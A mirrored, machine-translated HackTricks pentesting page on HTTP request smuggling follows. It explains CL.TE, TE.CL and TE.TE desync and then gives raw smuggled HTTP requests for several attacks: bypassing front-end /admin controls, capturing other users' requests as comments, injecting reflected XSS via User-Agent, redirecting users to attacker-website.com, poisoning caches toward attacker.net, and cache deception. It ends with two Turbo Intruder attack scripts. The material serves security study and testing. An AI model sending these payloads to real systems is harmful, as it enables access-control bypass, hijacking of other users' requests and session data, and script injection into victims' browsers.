Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 05:03:35 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling
History
Translator 6c30282a75 Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md',
2024-02-09 08:09:21 +00:00
..
browser-http-request-smuggling.md Translated ['forensics/basic-forensic-methodology/specific-software-file 2024-02-05 20:18:17 +00:00
README.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:09:21 +00:00
request-smuggling-in-http-2-downgrades.md Translated ['mobile-pentesting/ios-pentesting/ios-protocol-handlers.md', 2024-02-09 08:09:21 +00:00

README.md

HTTP 请求串行攻击 / HTTP Desync 攻击

从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！

支持 HackTricks 的其他方式：

什么是

当前端代理和后端服务器之间发生不同步时，会出现此漏洞，使得攻击者能够发送一个 HTTP 请求，在前端代理（负载均衡/反向代理）中被解释为单个请求，而在后端服务器中被解释为2个请求。
这使得用户能够在后端服务器接收到下一个请求后修改该请求。

理论

RFC 规范（2161）

如果接收到同时具有传输编码头字段和内容长度头字段的消息，则必须忽略后者。

Content-Length

Content-Length 实体头指示发送给接收方的实体主体的字节数。

Transfer-Encoding: chunked

Transfer-Encoding 头指定用于安全传输有效载荷主体的编码形式。
Chunked 意味着大数据以一系列块的形式发送

现实情况

前端（负载均衡/反向代理）处理_content-length或transfer-encoding_头，而后端服务器处理另一个头，导致这两个系统之间的不同步。
这可能非常危险，因为攻击者将能够向反向代理发送一个请求，该请求将被后端服务器解释为2个不同的请求。这种技术的危险在于后端服务器将解释****注入的第二个请求，好像它来自下一个客户端，而该客户端的真实请求将成为注入请求的一部分。

特殊情况

请记住，在 HTTP 中，一个新行字符由 2 个字节组成：

  • Content-Length：此头使用十进制数来指示请求的主体的字节数。预期主体以最后一个字符结束，请求结尾不需要新行。
  • Transfer-Encoding: 此头在主体中使用十六进制数来指示下一个块的字节数。块必须以新行结束，但此新行不计入长度指示器。此传输方法必须以大小为 0 的块后跟 2 个新行结束：0
  • Connection：根据我的经验，建议在请求串行的第一个请求中使用**Connection: keep-alive**。

基本示例

HTTP 请求串行攻击是通过发送模棱两可的请求来制造的，利用前端和后端服务器解释Content-Length（CL）和Transfer-Encoding（TE）头的方式存在差异。这些攻击可以以不同形式出现，主要为CL.TE、TE.CL 和 TE.TE。每种类型代表前端和后端服务器如何优先处理这些头的独特组合。漏洞源于服务器以不同方式处理同一请求，导致意外且可能恶意的结果。

漏洞类型的基本示例

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

CL.TE 漏洞（前端使用 Content-Length，后端使用 Transfer-Encoding）

  • 前端（CL）： 根据Content-Length头处理请求。
  • 后端（TE）： 根据Transfer-Encoding头处理请求。
  • 攻击场景：
  • 攻击者发送一个请求，其中Content-Length头的值与实际内容长度不匹配。
  • 前端服务器根据Content-Length值将整个请求转发给后端。
  • 后端服务器由于Transfer-Encoding: chunked头处理请求，将剩余数据解释为单独的后续请求。
  • 示例：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL 漏洞（前端使用 Transfer-Encoding，后端使用 Content-Length）

  • 前端（TE）： 根据Transfer-Encoding头处理请求。
  • 后端（CL）： 根据Content-Length头处理请求。
  • 攻击场景：
  • 攻击者发送一个分块请求，其中块大小（7b）和实际内容长度（Content-Length: 4）不对齐。
  • 前端服务器根据Transfer-Encoding转发整个请求给后端。
  • 后端服务器根据Content-Length只处理请求的初始部分（7b 字节），将其余部分作为意外的后续请求的一部分。
  • 示例：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE 漏洞（两者都使用 Transfer-Encoding，带有混淆）

  • 服务器： 两者都支持Transfer-Encoding，但可以通过混淆欺骗其中一个服务器忽略它。
  • 攻击场景：
  • 攻击者发送一个带有混淆Transfer-Encoding头的请求。
  • 取决于哪个服务器（前端或后端）无法识别混淆，可能会利用 CL.TE 或 TE.CL 漏洞。
  • 由其中一个服务器看到的请求未处理部分将成为后续请求的一部分，导致串行攻击。
  • 示例：
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL 场景（前端和后端都使用 Content-Length）：

  • 两个服务器仅根据Content-Length头处理请求。
  • 通常，此场景不会导致串行攻击，因为两个服务器在解释请求长度方面是一致的。
  • 示例：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

正常请求

CL != 0 场景：

  • 指的是Content-Length头存在且值不为零，表示请求主体具有内容的情况。
  • 这对于理解和制作串行攻击至关重要，因为它影响服务器如何确定请求的结束。
  • 示例：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

非空主体

通过逐跳头强制

滥用逐跳头，您可以指示代理删除 Content-Length 或 Transfer-Encoding 头，从而可能滥用 HTTP 请求串行攻击。

Connection: Content-Length

有关逐跳头信息的更多信息，请访问：

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

发现HTTP请求走私

通常可以使用时间技术来识别HTTP请求走私漏洞，这依赖于观察服务器对操纵请求的响应时间。这些技术对于检测CL.TE和TE.CL漏洞特别有用。除了这些方法，还有其他策略和工具可用于发现此类漏洞：

使用时间技术查找CL.TE漏洞

  • 方法:
  • 发送一个请求，如果应用程序存在漏洞，将导致后端服务器等待额外数据。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

  • 观察:

  • 前端服务器根据Content-Length处理请求并过早截断消息。

  • 后端服务器期望收到一个分块消息，等待下一个从未到达的分块，导致延迟。

  • 指标:

  • 响应超时或长时间延迟。

  • 从后端服务器收到400 Bad Request错误，有时包含详细的服务器信息。

使用时间技术查找TE.CL漏洞

  • 方法:
  • 发送一个请求，如果应用程序存在漏洞，将导致后端服务器等待额外数据。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • 观察:
  • 前端服务器根据Transfer-Encoding处理请求并转发整个消息。
  • 后端服务器期望根据Content-Length接收消息，等待从未到达的额外数据，导致延迟。

其他查找漏洞的方法

  • 差异响应分析:

  • 发送略有变化的请求版本，并观察服务器响应是否以意外方式不同，指示解析差异。

  • 使用自动化工具:

  • 像Burp Suite的'HTTP Request Smuggler'扩展这样的工具可以通过发送各种模糊请求并分析响应来自动测试这些漏洞。

  • Content-Length变化测试:

  • 发送具有不与实际内容长度对齐的不同Content-Length值的请求，并观察服务器如何处理这种不匹配。

  • Transfer-Encoding变化测试:

  • 发送具有混淆或格式不正确的Transfer-Encoding头的请求，并监视前端和后端服务器对这种操纵的不同响应。

HTTP请求走私漏洞测试

在确认时间技术的有效性后，验证客户端请求是否可被操纵至关重要。一种简单的方法是尝试操纵您的请求，例如，使对/的请求产生404响应。在基本示例中先前讨论的CL.TE和TE.CL示例演示了如何操纵客户端请求以引发404响应，尽管客户端的目标是访问不同的资源。

关键考虑事项

在通过干扰其他请求测试请求走私漏洞时，请记住：

  • 不同的网络连接: “攻击”和“正常”请求应通过不同的网络连接发送。在两者上使用相同连接不会验证漏洞的存在。
  • 一致的URL和参数: 务必为两个请求使用相同的URL和参数名称。现代应用程序通常根据URL和参数将请求路由到特定的后端服务器。匹配这些增加了两个请求由同一服务器处理的可能性，这是成功攻击的先决条件。
  • 时间和竞争条件: “正常”请求旨在检测来自“攻击”请求的干扰，与其他并发应用程序请求竞争。因此，在“攻击”请求之后立即发送“正常”请求。繁忙的应用程序可能需要多次尝试才能得出结论性的漏洞确认。
  • 负载平衡挑战: 充当负载均衡器的前端服务器可能会将请求分发到各种后端系统。如果“攻击”和“正常”请求最终进入不同的系统，攻击将不会成功。这种负载平衡方面可能需要多次尝试来确认漏洞。
  • 意外用户影响: 如果您的攻击意外影响了另一个用户的请求（而不是您发送用于检测的“正常”请求），这表明您的攻击影响了另一个应用程序用户。持续测试可能会干扰其他用户，需要谨慎处理。

滥用HTTP请求走私

绕过前端安全控制

通过HTTP请求走私绕过前端安全控制

有时，前端代理实施安全措施，审查传入请求。然而，通过利用HTTP请求走私，可以绕过这些措施，允许未经授权访问受限端点。例如，访问/admin可能在外部被禁止，前端代理积极阻止此类尝试。然而，该代理可能忽略检查走私HTTP请求中嵌入的请求，为绕过这些限制留下漏洞。

考虑以下示例，说明如何使用HTTP请求走私绕过前端安全控制，特别针对通常由前端代理保护的/admin路径：

CL.TE示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

在 CL.TE 攻击中，利用 Content-Length 头部进行初始请求，而后续嵌入的请求利用 Transfer-Encoding: chunked 头部。前端代理处理初始的 POST 请求，但未检查嵌入的 GET /admin 请求，从而允许未经授权访问 /admin 路径。

TE.CL 示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

相反，在TE.CL攻击中，初始的POST请求使用Transfer-Encoding: chunked，而后续嵌入的请求则基于Content-Length头进行处理。类似于CL.TE攻击，前端代理忽略了携带的GET /admin请求，无意中授予对受限/admin路径的访问权限。

揭示前端请求重写

应用程序通常使用前端服务器在将请求传递给后端服务器之前修改传入请求。典型的修改包括添加头部，例如X-Forwarded-For: <客户端的IP>，以将客户端的IP传递给后端。了解这些修改可能至关重要，因为这可能揭示了绕过保护或揭示隐藏的信息或端点的方法。

要调查代理如何修改请求，请查找后端在响应中回显的POST参数。然后，制作一个请求，将此参数放在最后，类似于以下内容：

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

在这种结构中，后续请求组件被附加在search=之后，该参数在响应中反映出来。这种反射将暴露出后续请求的标头。

重要的是要将嵌套请求的Content-Length标头与实际内容长度对齐。建议从一个小值开始逐渐增加，因为值过低会截断反射数据，而值过高会导致请求出错。

这种技术在TE.CL漏洞的情况下也适用，但请求应以search=\r\n0结束。无论换行符如何，这些值都将附加到搜索参数。

这种方法主要用于了解前端代理所做的请求修改，实质上是进行自我导向的调查。

捕获其他用户的请求

通过将特定请求附加为参数值来捕获下一个用户的请求是可行的，这是在进行POST操作时可以实现的方式：

通过将以下请求附加为参数值，您可以存储后续客户端的请求：

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

在这种情况下，comment参数旨在存储公开页面上帖子评论部分的内容。因此，随后请求的内容将显示为评论。

然而，这种技术有局限性。通常，它仅捕获直到被夹带请求中使用的参数分隔符为止的数据。对于URL编码的表单提交，这个分隔符是&字符。这意味着从受害用户请求中捕获的内容将在第一个&处停止，甚至可能是查询字符串的一部分。

此外，值得注意的是，这种方法在存在TE.CL漏洞时也是可行的。在这种情况下，请求应以search=\r\n0结尾。无论换行符是什么，值都将附加到搜索参数上。

利用HTTP请求走私来利用反射型XSS

HTTP请求走私可用于利用易受反射型XSS攻击的网页，提供了显著优势：

  • 无需与目标用户交互。
  • 允许利用通常无法获取的请求部分中的XSS，如HTTP请求头。

在网站容易通过用户代理标头受到反射型XSS攻击的情况下，以下有效载荷演示了如何利用这一漏洞：

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

这个攻击载荷的结构旨在利用漏洞：

  1. 发起一个POST请求，看似典型，带有Transfer-Encoding: chunked头部，表示开始进行走私。
  2. 接着是一个0，标记分块消息体的结束。
  3. 然后引入一个走私的GET请求，其中User-Agent头部被注入了一个脚本<script>alert(1)</script>，当服务器处理这个后续请求时触发了XSS。

通过走私方式操纵User-Agent，攻击载荷绕过了正常请求的限制，从而以非标准但有效的方式利用了反射型XSS漏洞。

利用HTTP请求走私将站内重定向变成开放重定向

利用HTTP请求走私利用站内重定向

应用程序通常通过在重定向URL中使用Host头部中的主机名从一个URL重定向到另一个URL。这在像Apache和IIS这样的Web服务器中很常见。例如，请求一个没有尾随斜杠的文件夹会导致重定向以包含斜杠：

GET /home HTTP/1.1
Host: normal-website.com

结果为：

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

虽然看似无害，但这种行为可以通过HTTP请求走私来操纵，将用户重定向到外部网站。例如：

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

这个走私的请求可能导致下一个处理的用户请求被重定向到攻击者控制的网站：

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

结果为：

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

使用HTTP请求走私执行Web缓存投毒

利用HTTP请求走私进行Web缓存投毒

如果前端基础设施的任何组件缓存内容，通常是为了提高性能，那么就可以执行Web缓存投毒。通过操纵服务器的响应，可以投毒缓存。

之前，我们观察到服务器响应可以被修改以返回404错误（参见基本示例）。同样，可以欺骗服务器，使其在响应对/static/include.js的请求时提供/index.html内容。因此，/static/include.js的内容被缓存中的/index.html替换，使得用户无法访问/static/include.js，可能导致拒绝服务（DoS）。

如果发现开放重定向漏洞或存在站点重定向到开放重定向，则此技术变得特别强大。可以利用这些漏洞将/static/include.js的缓存内容替换为受攻击者控制的脚本，从而在所有请求更新的/static/include.js的客户端中实施广泛的跨站脚本（XSS）攻击。

以下是利用缓存投毒结合站点重定向到开放重定向的示例。目标是修改/static/include.js的缓存内容，以提供受攻击者控制的JavaScript代码：

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

使用HTTP请求走私执行Web缓存欺骗

Web缓存毒化和Web缓存欺骗有何区别？

  • 在Web缓存毒化中，攻击者导致应用程序将一些恶意内容存储在缓存中，并将此内容从缓存中提供给其他应用程序用户。
  • 在Web缓存欺骗中，攻击者导致应用程序将属于另一个用户的一些敏感内容存储在缓存中，然后攻击者从缓存中检索此内容。

攻击者制作了一个走私请求，用于获取敏感的用户特定内容。考虑以下示例：

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

如果这个走私的请求毒害了一个用于静态内容的缓存条目（例如，/someimage.png），受害者的敏感数据可能会被缓存在静态内容的缓存条目下。因此，攻击者可能会潜在地检索这些缓存的敏感数据。

利用 HTTP 请求走私与 HTTP 响应解同步

您是否发现了一些 HTTP 请求走私漏洞，但不知道如何利用它。尝试这些其他利用方法：

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo intruder 脚本

CL.TE

来源：https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

From: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

工具

参考资料

从零开始学习AWS黑客技术，成为专家 htARTE (HackTricks AWS Red Team Expert)!

支持HackTricks的其他方式：